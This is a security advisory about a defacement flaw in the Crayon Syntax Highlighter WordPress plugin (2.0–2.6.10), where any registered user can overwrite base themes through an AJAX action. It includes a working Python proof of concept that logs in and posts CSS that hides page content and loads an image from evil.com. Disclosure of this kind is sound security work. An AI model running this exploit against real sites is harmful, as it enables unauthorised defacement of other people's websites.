Crayon Syntax Highlighter 2.0 – 2.6.10 – Defacement

Description

The Crayon Syntax Highlighter plugin allows access to the AJAX method 'crayon-theme-editor-save' to any registered user. When called, the AJAX method ‘crayon-theme-editor-save’ will call the 'save' function within the CrayonThemeEditorWP class, defined in 'crayon-syntax-highlighter/util/theme-editor/theme_editor.php'. An attacker can craft the user provided parameters in such a way that it becomes possible to overwrite base themes with arbitrary CSS.

Proof of Concept

import requests
s = requests.session()
target = 'http://localhost'

url = '%s/wp-login.php'%target
payload = {
        "log":"test",
        "pwd":"test",
        "wp-submit":"Log+In"
}
r = s.post(url, data=payload)

url = '%s/wp-admin/admin-ajax.php'%target
payload = {
        "action":"crayon-theme-editor-save",
        "id":"classic",
        "name":"Classic",
        "css":"body>*{display:none}nbody::after{content:'testing'}nhtml{background-image:url(http://evil.com/myimage.jpg)}",  
        "version":"2.6.10",
        "allow_edit":1,
        "allow_edit_stock_theme":1
}
r = s.post(url, data=payload)